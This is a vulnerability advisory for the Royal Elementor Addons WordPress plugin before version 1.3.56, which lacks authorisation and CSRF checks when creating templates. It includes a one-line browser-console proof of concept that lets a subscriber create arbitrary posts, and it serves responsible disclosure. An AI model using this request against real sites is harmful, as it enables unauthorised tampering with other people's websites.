WordPress Plugin Vulnerabilities
Royal Elementor Addons < 1.3.56 - Subscriber+ Arbitrary Post Creation
Description
The plugin does not have authorisation and CSRF checks when creating a template, and does not ensure that the post created is a template. This could allow any authenticated users, such as subscriber to create a post (as well as any post type) with an arbitrary title
Proof of Concept
Run the below command in the developer console of the web browser while being on the blog as a subscriber fetch('/wp-admin/admin-ajax.php?action=wpr_create_template', { method: 'POST', headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: 'user_template_slug=hello-world&user_template_library=post&user_template_title=Hello 2' });
Affects Plugins
References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-15 (about 1 years ago)
Added
2022-12-14 (about 1 years ago)
Last Updated
2022-12-14 (about 1 years ago)